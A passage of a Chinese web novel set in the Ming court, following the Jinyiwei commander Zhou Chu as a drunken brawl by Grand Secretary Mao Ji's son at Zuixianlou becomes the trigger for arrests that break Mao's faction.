“锦衣卫不过是陛下的鹰犬罢了,他们的生死不过是陛下一句话的事,要论权利,只有内阁可以和陛下分庭抗礼,如今内阁尽在我爹掌控之中,就算是陛下,也得给我爹面子。” 毛寿说完这话,喝了一口陈王酿,却并没有咽下去,而是用陈王酿漱了漱口,一旁的杨赞极为狗腿的拿着一个杯子接着毛寿吐出来的漱口水。 下面的那些官员看到这一幕,心里都抽了抽,毕竟这次请客的是他们,陈王酿价值不菲,每一坛都很贵,眼前的这两位这纨绔的做派,这顿饭光陈王酿就已经没了两坛。 最重要的是,他们不怕花钱,就怕花了钱还办不成事,要是他们请的是毛纪或者杨廉,花再多钱他们都不会心疼,但眼前这两个纨绔子,能不能帮他们把事情办成,他们心里还真没底。 不过事已至此,他们只能陪着笑脸,不断地让人上酒。 很快,毛寿就喝的上头了,说话也有些大舌头,桌面上喝酒的玻璃杯更是被他打碎了好几个。 这让那几个请客的官员愈发肉疼。 要知道醉仙楼的玻璃杯每一个都价值不菲,打碎一个都要赔五十两。 说实话这已经是良心价了,同样的玻璃器,在市面上只会比这个价格高,不会更低。 毛寿一共打碎了酒杯三个,放甜品的玻璃盘子一个,盘子要比酒杯贵不少,每一个都要赔两百两。 单单是这三样,就要赔三百多两。 “这些打碎的盘子和酒杯,一共要多付三百五十两。” 孙强满脸笑容地看着众人道。 毛寿一听这话,脸色顿时垮了下来。 “知道大爷我是谁吗?还敢让我赔钱?” 毛寿此时已经喝多了,完全不记得有人买单的事,就算记得,这些东西毕竟是他打碎的,自然是拉不下这个脸来。 “甭管您是谁,打碎了东西就要赔钱。” 孙强说这话的时候,脸上虽然还是笑容,但语气已经变得强硬了许多。 “二爷,二爷,都是小事,小事,钱我来付,我来付。” 其中一个请客的官员,急忙说道。 “少他娘的废话,什么时候轮得到你来充大头?本大爷是打碎了几个杯子,不过是几个破酒杯,哪值得了这么多钱?敢敲本大爷的竹杠,我看你是活腻歪了。” 毛寿丝毫不领情,先是骂了两句那个讨好他的官员,然后一脸强硬地看着孙强道。 孙强听到这话,脸上的笑容瞬间收敛了起来。 “诸位要是这个态度的话,咱们就要好好算一算账了。”小說中文網 孙强说着将手中的算盘拢了拢,一旁的初六不着痕迹地出了酒楼,直奔周楚家中而去。 此时周楚的家中很是热闹,那些世子郡主在陆炜大婚之后,基本都离京了,只剩下朱显榕、沐云萍和朱思莹三人死皮赖脸的要住在周府。 朱显榕和沐云萍两人还好说,毕竟两人再怎么说,名义上都是周楚的学生,住在周府,跟着周楚学东西倒也说得过去。 朱思莹却是不愿意认周楚为老师的,毕竟她对周楚还存有非分之想,对于朱思莹死皮赖脸留下,周楚也很无奈,只能装聋作哑,毕竟朱思莹是代王府的郡主,周楚名义上还真命令不了她,而且以周楚和代王朱俊杖的关系,也没理由为难她。 朱显榕跟着周楚,最想学的不是别的,正是经商之道,他在张家村的时候特意问过楚璃,这才得知楚璃经商的本事都是跟这位锦衣卫指挥使学的。 朱显榕知道这个消息的时候,心中很是惊骇,他没想到真有这么一个人,样样通,样样精,而且每一样都做到了极致。 行军打仗,朱显榕对周楚荡平倭寇的事,有所耳闻,有明一朝百来年都解决不了的倭患,被这位锦衣卫指挥使仅仅用了半年时间就彻底解决了。 朱显榕作为楚王府的世子,一直都清楚,倭患一直解决不了,根源不在倭寇,而在江南走私集团。 只要将江南走私集团梳理清楚,解决倭患不过是水到渠成的事罢了。 但这件事说起来简单,做起来却是难如登天。 岂不闻先帝朱厚照只是往江南走了一趟,回京之后半年时间就因病去世。 要说这其中没问题,朱显榕是不信的。 朱显榕对周楚的了解还不止这些,周楚在大同做的事,朱思莹和朱显榕沐云萍说过不止一次,对于周楚领兵打仗的本事,两人惊为天人。 更不用说虎贲军和玄武军这两支强的离谱的军队都是出自这位锦衣卫指挥使的手。 论经商,这位锦衣卫指挥使入仕之前,已经在京城赚了很多钱,无论是云桂坊还是醉仙楼,任何一个,哪怕对朱显榕这种藩王世子而言,也是极其夸张的敛财机器。 朱显榕和沐云萍越是了解周楚,就越是对这位老师佩服的五体投地,周楚会的每一样,似乎都能做到极致,而他们,能将其中一样学个三四成,就已经是奢望了。 特别是在周楚向朱显榕讲了做多和做空的概念之后,朱显榕觉得自己的脑子有些不太够用了,为了方便朱显榕理解,周楚还特地将之前楚璃在江南做空生丝的案例拿出来讲了讲。 朱显榕听完之后,直拍大腿,如同醍醐灌顶一般,对这其中的巧妙之处,忍不住拍案叫绝,如此巧妙的方法,他实在是想不出,自己的老师是如何想出来的。 至于沐云萍,周楚则让她自己看自己以前写的兵书,这兵书结合了很多东西,包括练兵实纪和纪效新书,还有后世特种兵的一些训练方式。 沐云萍看到这本兵书,如获至宝,虽然兵书没有任何名字,她却看的如痴如醉。 “少爷,醉仙楼有人闹事,好像是阁老毛纪的儿子。” 初六一路小跑来到周楚面前道。 周楚听到这话,顿时来了精神。 “老虎不发威,还真当我是病猫,是时候收网了。” 周楚说着看向了一旁的沈炼。 沈炼顿时会意,带着隐藏在周府的部分锦衣卫直奔醉仙楼而去。 “睁大你的狗眼,这位可是毛二爷,如今整个京城,谁敢惹毛二爷?” 杨赞作为毛寿的狗腿子,自然要为他出来壮声势,他指着孙强,一副盛气凌人的模样道。 “今日本大爷不止不会赔你这个钱,你们醉仙楼惹了我,这事可不能这么善了,我一句话能让你们开不下去。” 毛寿色厉内荏道。 “是嘛?谁这么大的口气?本官倒要看看。” 沈炼带着锦衣卫来到了众人面前,看着眼前醉眼朦胧的毛寿和杨赞,满脸调侃道。 “你是谁?敢和我这么说话?区区一个锦衣卫百户,谁给你的狗胆?” 毛寿看着沈炼身上独属于锦衣卫百户的衣服,一脸不屑道。 “本官接到醉仙楼掌柜的报案,说你等打碎了醉仙楼的酒杯,不止不赔钱,还大放厥词,可有此事?” 沈炼没有搭理毛寿的话,而是反问道。 “大人,这件事是误会,毛二爷喝多了,这钱我们肯定会赔的。” 一旁的官员满脸苦笑道。 他们此时恨不得扇自己两个大嘴巴子,没事请这两位纨绔子吃什么饭,现在好了,事办不办得成不知道,肯定是惹了一身骚。 这醉仙楼背后的东家可是锦衣卫指挥使周楚啊,虽说明面上周楚已经撤出了醉仙楼的份额,但谁都清楚,醉仙楼和周楚有着脱不开的关系。 毛寿得罪醉仙楼有没有事他们不知道,但他们多半是会有事的。 “给个屁?今日醉仙楼还得赔给本大爷钱,不然这事不能了。” 毛寿此时喝了酒又上了头,哪里管得了那么多,直接粗暴的打断了此人的话。 “看样子孙掌柜说的没错了,诸位跟我们走一趟吧。” 沈炼说完这话挥了挥手,跟在沈炼身后的那些锦衣卫直接上前将毛寿等人按住,根本不给他们反抗的机会。 阁老毛纪的二公子毛寿,以及礼部侍郎杨廉的公子杨赞被锦衣卫的人抓了,关进昭狱的消息,很快就传遍了京城。 前因后果很快被传了出去。 “指挥使周大人这是要做什么?难道他不怕得罪毛大人吗?” 兵部的一个官员此时正在和好友小酌,听到这个消息,满脸不解道。 “那醉仙楼本就是周大人的产业,这毛寿在醉仙楼闹事,周大人要是什么都不做,以后整个京城,谁还把他放在眼里?” 一旁的好友说道。 “那倒也是,只是如此一来,恐怕周大人就不好跟毛大人交代了,如今的毛大人,可谓是权势滔天啊。” 兵部官员感慨道。 毛纪和杨廉自然也都得到了这个消息,毛纪觉得这件事自己出面不合适。 “你去给告诉方震,让他问一问这个周衡器,到底想干什么?” 毛纪看着自己的管家,不怒自威道。 如今的毛纪早已不是一个月前的毛纪,这一个月的时间,毛纪在京城可谓是翻手为云覆手为雨,这种感觉让他无比沉迷,同时也让他的野心空前的膨胀。 对于内阁首辅的位置,他是势在必得,至于锦衣卫指挥使周楚,早已不被他放在眼里了。 管家听到这话,不敢怠慢,急忙来到杨廉府上。 “杨大人,我家二爷和令公子的事,你可知道了?” 管家见到杨廉之后,问道。 “我也是刚知道,这个周衡器,做事就是不知深浅,就算那醉仙楼是他的产业,有什么事,就不能好好商量?这么做,将老师的颜面置于何地?” 杨廉义愤填膺道。 “我家老爷说这件事你去处理,他不好出面,该怎么处理,杨大人应该有数吧?” 毛府的管家看着杨廉,说道。 “本官一定会妥善处理的,定让那周衡器得到教训。” 杨廉冷哼一声道。 第295章 绝望的杨廉,锋芒毕露的周楚 “周大人,到底什么事不能坐下来好好谈?非得把人抓进昭狱之中?” 杨廉来到周府,连拜帖都没递,周府的门房原本想阻拦杨廉的,却被杨廉态度强硬的闯了进去。 这也就是周楚事先做了安排,门房没真想去拦,否则以周府的防备力量,隐藏在暗中的锦衣卫就能把杨廉按在那。 “杨大人此言何意?本官怎么听不懂?” 周楚挥手屏退了一路追过来的门房,一脸不解道。 杨廉听到这话,直接冷哼一声。 “周大人还真是装糊涂的高手,整个京城谁不知道,那沈炼就是周大人的护卫,从来只执行周大人一人的命令,他带人将毛二公子抓进了昭狱之中,周大人又岂能撇清关系?” 杨廉满脸不屑道。 “哦?还有此事?大柱,你去把纯甫叫过来,他之前匆匆忙忙的出去了,也不知道干啥去了。” 周楚看着一旁的大柱,煞有介事道。 “杨大人别急,有话好好说,先坐下喝杯茶。” 周楚满脸笑容道。 杨廉听到这话,也不好穷追不舍,只好坐了下来,端起茶杯喝起了茶。 只是杨廉的脸色却不怎么好看。 他没想到,这个节骨眼上,周楚这个锦衣卫指挥使突然出来搞事情。 他杨廉的声势经过这大半个月的不断攀升,已经达到了一个顶点,整个京城无人敢逆他的风头。 周楚早不出手,晚不出手,偏偏这个时候出手,这让杨廉很是恼怒,同时也让他骑虎难下。 倘若不能将这件事妥善处置好,让人看到他杨廉,或者说毛纪的威势,那些攀附他们的官员就会有不少打退堂鼓。 毕竟升官发财虽然好,但如果锦衣卫真的敢动手的话,不是所有人都敢冒险的。 对于这一点,杨廉很清楚,毛纪也很清楚,不过毛纪不敢赌,他得给自己留下一些容错,所以这件事只能由杨廉处理。 这件事一定要处理的漂亮,最起码得让周楚这位锦衣卫指挥使低头,这样的话,杨廉乃至毛纪手下的那些官员才会继续烈火烹油。 当毛纪的权势达到一定程度之后,杨一清的退场就是注定的了,毛纪登临内阁也是不可阻挡的。 但周楚做这件事的时机很寸,似乎刚好卡在了时间的七寸上,让毛纪和杨廉不上不下。 大约过了一刻钟,沈炼不疾不徐地跟着大柱来到了周楚和杨廉面前。 “纯甫,杨大人说你把毛二公子抓了起来,可有此事?” 周楚看着沈炼,明知故问道。 “回大人的话,确有此事,方才下官接到醉仙楼孙掌柜的报案,毛二公子,还有杨大人家的公子在醉仙楼喝醉了,打碎了醉仙楼不少东西,不止不赔钱,还要醉仙楼给他们钱,这天下哪有这般道理?毛二公子此举把大明律置于何地?” 沈炼义正言辞道。 “胡闹,你怎么不告诉本官一声,就私自处理了?” 周楚有些恨铁不成钢道。 “方才大人在给楚王世子上课,下官实在不敢打扰,就只能自作主张了,大人恕罪。” 沈炼急忙请罪道。 “行了行了,两位就别演了,赶紧把人放了吧。” 杨廉满脸不耐烦道。 “放了?为什么要放了?” 周楚听到这话,用手指掏了掏耳朵,仿佛听到了什么不可思议的话一般。 “周大人到底意欲何为?” 杨廉看到周楚这般模样,顿时明白这件事恐怕难以善了,脸色顿时黑了下来。 “杨大人可是听到了,毛二公子和令公子在醉春楼大放厥词,还打碎了很多东西,拒不赔付就算了,还让醉仙楼给他们钱,天下间哪有这样的道理?毛二公子和令公子可曾把大明律放在眼里?” 周楚脸色一沉道。 杨廉看着周楚的脸色,内心没来由的一颤,他不明白自己内心的这种感觉来自哪里,但杨廉总有种不好的预感。 不过事已至此,杨廉硬着头皮也得把该说的话说完,他很清楚,做人做官,最忌讳的便是首鼠两端,即便察觉到事情不太对,但杨廉也只能一条道走到黑了。 “周大人到底是什么意思?你要和毛大人对着干?” 杨廉脸色难看道。 “杨大人此言何意?本官的人不过是按大明律行事罢了,杨大人怎么上升到和毛大人对着干的地步了?更何况毛大人不过是内阁阁员罢了,杨大人这么说,将首辅大人置于何地?将陛下置于何地?难不成杨大人以为这京城之中,毛大人可以只手遮天了?” 周楚一字一句道。 周楚说出的每一个字,都如同一记重锤一般,敲击在杨廉的心头上。 这让杨廉内心不好的预感愈发浓重。 “既然周大人如此不识抬举,那本官告辞了,只是这后果,周大人还要想想清楚。” 杨廉说完这话,起身就要离开。 “杨大人先别急着走,刚才说的是毛二公子和令公子的事,现在说说杨大人的事,杨大人不经通报,擅闯本官府邸,以下犯上,该当何罪?” 周楚怒喝道。 大明律之中规定了,下官见上官,要行跪拜之礼,虽然这条大明律已经名存实亡了,但杨廉擅闯周府一事,确实是以下犯上。 周楚是锦衣卫指挥使,正三品的官职,按品级和杨廉这个礼部侍郎同级,但锦衣卫见官大三级,周楚这个锦衣卫指挥使已经是位极人臣了,说杨廉以下犯上,毫不为过。 杨廉听到这话,脸色瞬间一窒。 “周大人此言何意?” 杨廉有些不可置信地看着周楚道。 “杨大人是听不懂本官的哪一句话?本官可以一句一句解释给杨大人听。” 周楚看着杨廉,眼神之中闪烁着寒光道。 周楚的这般模样是杨廉从未见过的,杨廉自上任以来,见到周楚的次数屈指可数,还是半年前陈万言的事,两人见过。 此时杨廉看着周楚这般模样,心胆俱颤,直到此刻,杨廉才终于确认了一件事,那就是自己失算了,自己之前对周楚的试探,完全无效,甚至很可能被眼前这个年轻人识破了。 一念及此,杨廉瞬间想通了很多。 “你和杨一清......” 杨廉这句话没说下去,但已经面如死灰了。 杨廉很清楚,如今自己的权势和毛大人的权势,不过是昙花一现罢了,想要让这种权势彻底稳固下来,那么就得扳倒杨一清,将毛纪送到内阁首辅的位置上。 他们如今做的一切都是在为这个目的努力。 在这以前,所有的一切不过都是水中月镜中花罢了。 “周大人一年前用自己指挥使的位置做下那件事,这次周大人能否承担得了后果,还请三思!” 杨廉色厉内荏道。 周楚听到这话,冷笑着摇了摇头。 “杨大人说的什么话,本官什么都没想做,不过这些天,首辅大人倒是向本官借用了北镇抚司的人马,也不知道他要干什么,再怎么说他也是内阁首辅,本官也不好拒绝。” 周楚看着杨廉,笑道。 杨廉听到这话,脸色瞬间变得煞白。 他刚才预想到的最坏的结果终于还是出现了,内阁首辅杨一清和锦衣卫指挥使周楚勾结在了一起,算计了他们。 不对! 杨廉猛然反应过来。 锦衣卫可是天子亲军,杨一清找周楚借北镇抚司的人马,不可能越过皇帝。 一想到这里,杨廉的瞳孔瞬间放大,想到了一种极为恐怖的可能。 他们被内阁首辅、锦衣卫指挥使和皇帝联合算计了? 想明白这些,杨廉瞬间脊背发寒,手脚冰凉,瘫坐在了椅子上。 要真是这样的话,周楚这位锦衣卫指挥使一点后果都不需要承担,因为动用北镇抚司查办他们的人是杨一清。 内阁首辅! “不对!不对!” 杨廉抓了抓自己的头发道。 他总觉得自己漏算了什么,要知道如今的内阁之中,谢迁可是站在毛大人这边的,杨一清怎么敢贸然动手?他如何承担得起后果? 谢迁! 杨廉猛然抬起头,看着周楚。 “谢大人也是你们这边的人?” 杨廉不可置信道。 “杨大人此言差矣,什么我们这边的人,我们都是陛下的人。” 周楚似笑非笑道。 杨廉极为困难的抬起头来,看着眼前这个少年,此时的杨廉发现自己居然连抬起头来直视周楚的勇气都没有了。 如果说一年前这位锦衣卫指挥使还是年轻气盛,做事莽撞的话,那么此时的周楚,已经变成了杀人不见血的刀。 皇帝手中的刀! 杨廉似乎看到了这把刀上面即将沾满文武百官的血。 直到此刻,杨廉才真正意识到眼前这位锦衣卫指挥使的恐怖之处。 周衡器成长了,而且成长的速度非常恐怖! “周大人,下官不求活路,只求不要太过为难下官的家人。” 杨廉仿佛瞬间苍老了许多,看着周楚的眼神充满了祈求。 杨廉很清楚,自己输了,输的一塌糊涂。 原本他还嘲笑夏言胆小怕事,之前的半个月之中,夏言都在闭门谢客,此时杨廉才明白,夏言才是他们之中看的最清楚的那一位。 自己的老师毛纪看似清醒,实则早就被权势迷了眼,这次毛纪很难全身而退了。 最好的结果也是告老还乡。 “只要杨大人配合,自然会有个不错的结果。” 周楚答非所问道。 杨廉听到这话,犹如抓到了救命稻草一般。 “下官一定配合,一定配合。” 杨廉被沈炼安排人带走了,抓进了昭狱之中。 同时动手的还有北镇抚司的人马。 北镇抚司到处抓人,整个京城瞬间陷入了风声鹤唳之中。 毛纪得到消息之后,头皮一麻,瞬间意识到大事不妙,急忙进宫,想要求见嘉靖。 “毛阁老,陛下正在沐浴斋戒,准备过两日为大明祈福,为百姓祈福,这几日谁都不见,毛阁老来的也是不巧,要是早两天就好了。”仦說Ф忟網 黄锦一脸惋惜道。 毛纪听到这话,脸色顿时变得极为难看。 他意识到皇帝是有意不见自己,而且还是算准了时间,那就只有一种可能,北镇抚司的人动手,背后是皇帝的意思。 想想也对,北镇抚司如此大规模的抓人,皇帝怎么可能事先毫不知情,既然知道又没阻止,那就是默认了,自然不会见自己。 夏府,夏言得知杨廉被抓之后,冷笑不已。 “杨方震此人,控制不好自己的野心,算计太过,被人算计也是应有之果。” 夏言说完这话,看向了一旁的管家。 “闭门谢客,这几日谁都不见,无论是谁,通通不见。” 夏言很清楚,毛纪和杨廉的事牵扯不到自己,自己这大半个月都深居简出,为的就是和他们划清界限,之前夏言还会劝毛纪,不过最近毛纪已然被权势迷了眼,怎么劝都没用,夏言也就顾不得他了,只求自保。 毛纪回到自己府中,不断地听自己的管家汇报着谁谁被抓,脑子里一团乱麻。 “他周衡器怎么敢的?上次有陛下和杨用修保他,这次他怎么敢这么做的?” 毛纪怎么都想不明白。 “老爷,我得到一个消息,这次调动北镇抚司的不是锦衣卫指挥使,而是内阁首辅杨一清。” 毛纪的管家脸色难看道。 “什么!” 毛纪听到这话,瞬间站了起来。 直到此时,毛纪才感到了如芒在背。 这意味着,周楚这位锦衣卫指挥使和杨一清这位内阁首辅联合了起来。 背后甚至很可能是皇帝。 他们织了一张巨网,就等着他们向网里面钻呢。 “杨一清敢这么做?他能承担得起这个后果?” 毛纪怎么想都想不明白。 贸然动这么多人,周楚这位锦衣卫指挥使承担不了这个后果,杨一清这个内阁首辅同样也承担不了。 毕竟现在内阁,他毛纪占据了绝大多数的话语权,杨一清贸然调动北镇抚司的人马大动干戈,肯定是有足够的底气的。 毛纪很了解杨一清,杨一清这个老狐狸,从来都是不见兔子不撒鹰的。 “到底是哪里不对呢?” 毛纪如同热锅上的蚂蚁,开始一点点复盘,他总觉得有哪里不对劲,却又说不上来。 第296章 杨一清的取舍,稳居幕后的嘉靖 杨一清和杨廷和等人有很大的不同,他所处的位置相对独立,并不会隶属于任何一个集团,也就是为官这么多年,有不少门生故吏,攀附于他。 但这些人也在之前两次清算之中,被处理的差不多了,如今的杨一清不算孤家寡人,手下也没多少人了。 这也是毛纪以及他手下那些官员敢于弹劾杨一清的根本原因。 无论是杨廷和亦或是毛纪夏言等人,都是被江南集团选择的,或者说双方进行了一个双向选择,各取所需。 所以杨廷和和皇帝之间,是必须要争夺话语权的,这件事不以杨廷和的个人意志而转移。 倘若杨廷和不愿意做这件事,那么他的内阁首辅的位置就坐不住了,江南一系的人就要换人来坐。 江南一系如今被周楚和严嵩瓦解的差不多了,毛纪和夏言早就被打上了江南一系的标签,他们必须求活,倘若他们什么都不做,那么他们在朝中会被慢慢边缘化,甚至毛纪临了还可能被踢出内阁。 权利如同毒药,让人欲罢不能,一旦身居高位,掌握生杀予夺的权利之后,就再也不想放手。 毛纪作为内阁成员,所掌握的权力,足以一言决定无数人的生死,毛纪是无论如何都不能容忍大权从自己手中旁落的。 为了保住手中的权力,毛纪不得不将杨廉提拔上来,杨廉作为他的学生,毛纪自然了解杨廉的为人,此人极为聪明,但也够狠,对别人狠,对自己也狠,也正是因此,在这之前,毛纪一直没有起用杨廉。 毛纪从来都清楚,杨廉是一把双刃剑,用不好,会让自己万劫不复。 杨一清却和毛纪等人不同,杨一清本身就不是江南一系的人,如今更是没了任何标签和站队,或者说只要杨一清愿意,他可以站在任何一方。 但毛纪想要继续往上爬,动用这么多人弹劾杨一清,那么他们之间的关系已经势同水火,再无调和的余地。 对杨一清而言,倘若他什么都不做,皇帝和周楚未必会保自己,无论是对皇帝而言,还是对周楚而言,杨一清和毛纪的人拼个两败俱伤才是最好的局面。 所以杨一清必须做些什么。 一方面是为了保住自己的内阁首辅的位置,即便杨一清清楚,自己或许干不了几年了,但杨一清为官几十年,要的就是一个脸面和最后的体面。 杨一清主动告老还乡可以,但不能是被人弹劾惨淡离场的。 更何况杨一清还需要为自己的孙子杨盛斋的仕途考虑,无论出于何种理由,杨一清都没有对毛纪的人留手的理由。 杨一清很清楚,皇帝需要一把刀,来剪除毛纪手下的这些官员,甚至将毛纪彻底按下去。 这把刀可以是周衡器,也可以是自己。 但杨一清清楚,事情到了如今这个局面,周衡器躲在暗中算计了这么久,是不可能主动当这把刀的,毕竟之前他已经做过一次,后果很严重。 这次这把刀,必须得由自己来做。 杨一清人老成精,很多问题一眼就看透了,倘若自己做这把刀,首辅的位置还能保住,自己不做这把刀的话,恐怕再次上朝的时候,就是清算自己的时候。 这次毛纪那边的人看似很多,声势浩大,不过在杨一清眼中都是一些乌合之众罢了,自己这边,有皇帝,有锦衣卫,有周衡器,还有杨用修。 杨一清唯一拿不准的,就是谢迁的立场。 不过杨一清看问题可不像其他人那般,他和谢迁年岁差不了多少,甚至谢迁还比他大几岁。 杨一清很清楚,以谢迁的年纪,对仕途基本没了任何野望,现在所做的一切,不过都是在为他的那个儿子谢丕铺路罢了。 问题就在这里,谢迁原本是江南一系的中流砥柱,在内阁多年,如今江南一系土崩瓦解,如今那些攀附毛纪的官员可不能代表江南一系,甚至在毛纪坐上内阁首辅的位置之前,他们什么都不是。 和之前的江南一系差了十万八千里。 杨一清能看出这些,他相信谢迁也看得出来,谢迁既然是为自己的儿子铺路,又怎么会把宝押在一个完全不确定的未来上呢? 对谢迁而言,把宝押在皇帝和周楚这边,才是最优解。 杨一清和谢迁同朝为官几十年,他很清楚谢迁的性格,如杨廉这般,是赌徒,只要看到一些希望就可以押上所有,因为杨廉什么都没有,他对前途充满了渴望。 但谢迁不同,谢迁稳居朝堂这么多年,靠的就是稳重,他从来都不喜欢赌。 当然,这些只是杨一清的猜测罢了,至于谢迁会如何选择,杨一清也不敢笃定,不过对杨一清而言,如今的胜面极大,只要周楚这个锦衣卫指挥使和皇帝站在自己这边,整个朝堂还有谁能挡住他? 这大半个月的时间,杨一清虽然闭门不出,却一直在和周楚嘉靖互通有无,问周楚借调北镇抚司人马一事,也是杨一清在暗中完成的。 这件事自然是不可能瞒得过嘉靖的,杨一清也从未想过欺瞒嘉靖,他并非直接向周楚借调的北镇抚司,而是直接向皇帝借的,之后嘉靖再告知周楚,周楚就顺其自然的将北镇抚司的人马交给了杨一清。 皇宫之中,因为天气日渐炎热,嘉靖正在御书房之中,一边吃着冰镇寒瓜,一边看着面前的奏折。 “杨应宁终于要动手了,还得靠衡器给他拉起一个引子,不然他还不知道要忍到什么时候。” 嘉靖有些感慨道。 一旁的陆炳听到这话,面容有些忧虑。 “陛下,这些人好似不怕死一般,之前衡器杀了一波,陈万言一案,又杀了不少,但如今他们却仍然抱团攻讦首辅大人,其心可诛啊。” 嘉靖听到这话,将手中的寒瓜放在书案上,擦了擦嘴角。 “这些人为了权势,为了利益,连大明江山都不放在眼里,又岂会怕死?太祖皇帝当初杀了多少?也没把这些人杀怕,即便这次清算了这些人,以后还会有无数人前赴后继的,这只是个开始,远不是结束。” 嘉靖说这话的时候面无表情,不知道心里在想些什么。 第297章 京城的局势 孙强之前在京城做人牙子的时候,认识的人不可谓不多,三教九流都认识一些。 原本孙强家中也属于地里刨食的,后来被他的一个远房亲戚带着慢慢入了行,这才进入了牙行,进入牙行之后,孙强才算是真正脱离了底层,第一次实现了阶级跨越。 虽说跨越的不多,但和那些真正的底层百姓相比,不知道要强了多少。 孙强对他的这个远房亲戚一直都很感激,不过他这个远房表哥家中要比之前的孙强家过得好的多,甚至他们家还有人考中了举人,也就慢慢要了体面,不再干牙行的生意了。 考中举人的不是别人,正是孙强这个表哥的儿子,也是这次参加科举的仕子之一。 前些天,无数仕子都在找门路,走关系,以图金榜题名,光宗耀祖,孙强表哥的这个儿子自然也不例外。 他们一家自从不干牙行之后,和孙强的联系也就少了,只是知道孙强如今在醉仙楼当掌柜的,至于孙强和周楚的关系,他们是不清楚的。 实际上整个京城知道孙强和周楚关系的人也没多少。 孙强的表哥叫王沐,原本靠着牙行也赚了不少钱,孙强原本就在他手下干,不过自从他儿子王瑛中了举人之后,王沐似乎看到了他们一家崛起的希望,为了他儿子的仕途,王沐将牙行的生意全都断了。 毕竟一个举人的爹是干牙行生意的,怎么说都不好听,甚至会被其他读书人瞧不起。 这是王沐不能容忍的。 原本王沐就靠着牙行赚了很多钱,直接用这些钱买了很多地契,他儿子中了举人,他们家的地是不需要交税的,实际上从王瑛中了举人开始,就有无数底层百姓将地献给他们,然后从他们手中租地耕种。 同一个人,中举之前和中举之后的境遇是天差地别的。 哪怕之前再怎么穷困潦倒,一旦中举,就再也不用为生计发愁,会有当地的士绅主动送财物结交,会有百姓主动献地。 为了彻底撇清自己一家和牙行的关系,王沐一家甚至和孙强都基本没了联系。 这次科举,王沐为了自己儿子的仕途,甚至不惜花重金走关系,终于攀上了杨廉这条线,正当王沐暗自高兴的时候,却得知杨廉被北镇抚司抓了,同时京城之中,北镇抚司不停地在抓人,一时之间,整个京城人人自危。 杨廉被抓,顿时让王沐汗毛直竖,他没有当过官,家里也没人做过官,不清楚杨廉在北镇抚司的昭狱之中会遭遇什么样的审讯。 王沐觉得一旦杨廉招了,那么自己试图贿赂考官一事,恐怕也在劫难逃。 原本还觉得王家崛起在望的王沐,此时忽然觉得天塌了。 实际上不只是王沐,此时整个王家可谓是人心惶惶。 “爹,我们不能坐以待毙。” 王瑛看着王沐道。 父子两人都没有为官的经验,不知道这件事会查到什么地步,会办到什么程度,会不会牵扯到他们。 但两人都很清楚,自己不能什么都不做。 “爹,我那个表叔,以前在牙行跟你干的,听说现在是醉仙楼的掌柜的,醉仙楼是什么地方,出入的都是达官贵人,说不定我这位表叔会认识一些了不得的大人物。” 王瑛一拍大腿道。 王沐听到这话,一脸为难。 “当初我们和牙行断的一干二净,这些年我们和孙强没什么来往,此时贸然上门,恐怕不妥吧?” “爹,都什么时候了,你还瞻前顾后的,死马当活马医吧,多带些礼,礼多人不怪嘛。” 王瑛有些恨铁不成钢道。 王沐听到这话,思索再三。 “你说的也是,不管行不行得通,终归要试一试。” 王沐其实不太想去求孙强的,毕竟当初是他带着孙强来到京城的,孙强在他眼里一直都是他的小老弟,对他言听计从。 让王沐去求自己曾经的小老弟,他多少有些抹不开面子。 更何况他说的也没错,这些年他和孙强实在是没什么来往,此时贸然登门,王沐就更觉得臊得慌了。 不过王沐也清楚,事已至此,总不能为了面子,不顾自己一家的安危。 “你去备一份厚礼,一会我去找孙强。” 像孙强这种底层出身,后来入了牙行,根本没有字号。 字号从来都是读书人的事。 王沐的夫人听到这话,不敢怠慢,急忙去准备东西。 “娘,一定要备厚礼。” 王瑛看着自己的娘说道。 他对自己的娘很了解,他娘以前就很是看不上自己的这位表叔,现在虽然有求于人,但如果自己不强调一下的话,以王瑛对她的了解,她多半不会准备什么贵重的东西。 能敷衍就敷衍。 “用得着这么隆重吗?孙强以前还是老爷从乡下带过来的,求他办点事而已。” 王瑛的娘听到这话,有些不满道。 “娘!此一时彼一时,现在表叔是醉仙楼的掌柜,我们家的事,或许只有他能帮我们了。” 王瑛有些无奈道。 “头发长见识短的货,听老大的。” 王沐瞪了一眼自己的夫人道。 眼看王沐父子两人都是这个态度,王瑛的娘顿时软了下来,她也清楚现在不是耍横的时候。 “我知道了,好好的话不会好好说。” 她一边嘟囔着,一边去库房之中取东西了。 很快,王沐父子两人,带着厚礼,来到了醉仙楼门口。 他们很清楚,这个时候,孙强肯定在醉仙楼,其他家是找不到孙强的。 “表兄,你怎么来了?我们得有近十年年没见了吧?” 孙强看到王沐,很是高兴,虽然如今的王沐和十前相比富态了许多,但孙强仍然是一眼就认出来了。 对于王沐,孙强一直都是很感激的,他很清楚,没有自己的这个远房表兄,自己现在还在乡下呢。 当初王沐一家和牙行断了关系之后,孙强为了不影响王瑛的仕途,也就没有再和王家来往。 王瑛也算是年少成名,二十岁不到就中了举人,不过之后的仕途却不怎么顺利,连续几次会试都名落孙山,这让王沐父子两人都急了起来,所以才动了走关系的念头。 王沐面对孙强热情的态度,神情愈发窘迫。 “有件事我想求你帮个忙。” 王沐艰难地开口道。 他说完这话,将手中的东西递了过去。 “表兄这是做什么?有什么事,我要是能帮上忙,肯定会帮一把,哪用得着这些?” 孙强有些不悦道。 第298章 孙强的本事,周楚的态度 孙强作为醉仙楼的掌柜,这一年多的时间,周楚将他的月钱提了又提,如今孙强每个月的月钱已经达到了二百两银子。Www.XSZWω8.ΝΕt 不过这些对孙强而言,仍然是小头,真正的大头来自客人。 许多来醉仙楼吃饭的客人,都是想要求人办事的,但不是每个人想求人办事,都能有门路,孙强作为醉仙楼的掌柜,而醉仙楼背后又是周楚,自然是结交了许多达官贵人,最不济也都和那些官员的管家关系不错。 有些想走门路却找不到门路的人,都会找到孙强,让他帮忙牵线搭桥,想让孙强帮忙牵线搭桥,好处费自然是少不了的,这才是孙强收入的大头。 当然,这件事孙强早就告诉周楚了,是得到周楚默许的,同时孙强会把他介绍的每一个关系都记录下来。 如今的醉仙楼和刚建立的时候完全不同了,虽说都是为了收集情报,但当初周楚收集情报是为了弄那些官员,现在有锦衣卫在手,还有无数暗桩以及荣门弟子,想要查办哪个官员根本不需要醉仙楼搜集情报。 更何况如果谁进了醉仙楼,谁就出事,长此以往,谁还敢来醉仙楼?醉仙楼背后是锦衣卫指挥使周楚这件事,并不算什么秘密。 如今的醉仙楼收集情报,更多的是防范于未然,防止不可预料的事情发生,而且出入醉仙楼与否和是否会出事,根本不存在任何联系。 